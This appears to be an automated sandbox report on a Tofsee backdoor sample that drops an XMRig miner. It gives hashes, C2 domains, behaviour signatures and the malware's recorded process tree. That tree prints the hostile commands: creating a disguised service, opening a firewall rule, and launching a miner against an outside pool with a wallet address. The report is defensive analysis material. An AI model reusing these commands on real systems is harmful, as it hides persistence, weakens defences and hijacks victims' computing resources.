Overview

overview

10

Static

static

d4c8775b95...05.exe

windows7-x64

10

d4c8775b95...05.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    171s
  • max time network
    178s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/11/2022, 21:21

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General

  • Target

    d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe

  • Size

    168KB

  • MD5

    c8789056c4fa188b6f6d23e2da5e8655

  • SHA1

    bffc6adeee841c0976e31d6518bab3f5e85bd589

  • SHA256

    d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205

  • SHA512

    be89c3d2b76c2da856395a0d935206d9a1da034f501d8a029a8925903328cfad4e4d21ada9fe646e51fd046b197edf49f6666cc9b0d4fc2926009567cd20fba1

  • SSDEEP

    3072:9omFCseno3BYS59iEemUxOCzpSu0Ih2Wzb:Rheo3BhezxpCIA

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe
    "C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wyjwfisl\
      2⤵
        PID:1728
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hxdkpbfu.exe" C:\Windows\SysWOW64\wyjwfisl\
        2⤵
          PID:1312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wyjwfisl binPath= "C:\Windows\SysWOW64\wyjwfisl\hxdkpbfu.exe /d\"C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wyjwfisl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wyjwfisl
          2⤵
          • Launches sc.exe
          PID:432
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:300
      • C:\Windows\SysWOW64\wyjwfisl\hxdkpbfu.exe
        C:\Windows\SysWOW64\wyjwfisl\hxdkpbfu.exe /d"C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:672
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1524

      Network

      MITRE ATT&CK Enterprise v6

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\hxdkpbfu.exe
        Filesize

        11.2MB

        MD5

        a52fc1afd8d7556e100a626760c7df8f

        SHA1

        2c51870b7101d0a439c5d2a8d4a388418201dc3e

        SHA256

        69e1ceb67db0c6521c8eaf1bc766011c17f4e27be9f274e0d0ab388ac4f0593b

        SHA512

        33f9727396d13e34dcda220cf007b9d79940236890e0f6542b343a62aa3e4a276b7b23000266f5f024970f4c27cb3303e822e10eb7b7ecb735964b07477b74a0

        Download Submit

      • C:\Windows\SysWOW64\wyjwfisl\hxdkpbfu.exe
        Filesize

        11.2MB

        MD5

        a52fc1afd8d7556e100a626760c7df8f

        SHA1

        2c51870b7101d0a439c5d2a8d4a388418201dc3e

        SHA256

        69e1ceb67db0c6521c8eaf1bc766011c17f4e27be9f274e0d0ab388ac4f0593b

        SHA512

        33f9727396d13e34dcda220cf007b9d79940236890e0f6542b343a62aa3e4a276b7b23000266f5f024970f4c27cb3303e822e10eb7b7ecb735964b07477b74a0

        Download Submit

      • memory/672-81-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/672-85-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

        Download

      • memory/672-97-0x00000000001C0000-0x00000000001C7000-memory.dmp

        Filesize

        28KB

        Download

      • memory/672-94-0x0000000005520000-0x000000000592B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/672-91-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

        Download

      • memory/672-88-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

        Download

      • memory/672-82-0x0000000001940000-0x0000000001B4F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/672-80-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/672-73-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/672-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1524-102-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1524-100-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1756-78-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

        Download

      • memory/1756-74-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

        Download

      • memory/1756-72-0x000000000082B000-0x000000000083C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1980-66-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

        Download

      • memory/1980-56-0x00000000002EB000-0x00000000002FC000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1980-59-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

        Download

      • memory/1980-57-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1980-54-0x0000000075521000-0x0000000075523000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1980-65-0x00000000002EB000-0x00000000002FC000-memory.dmp

        Filesize

        68KB

        Download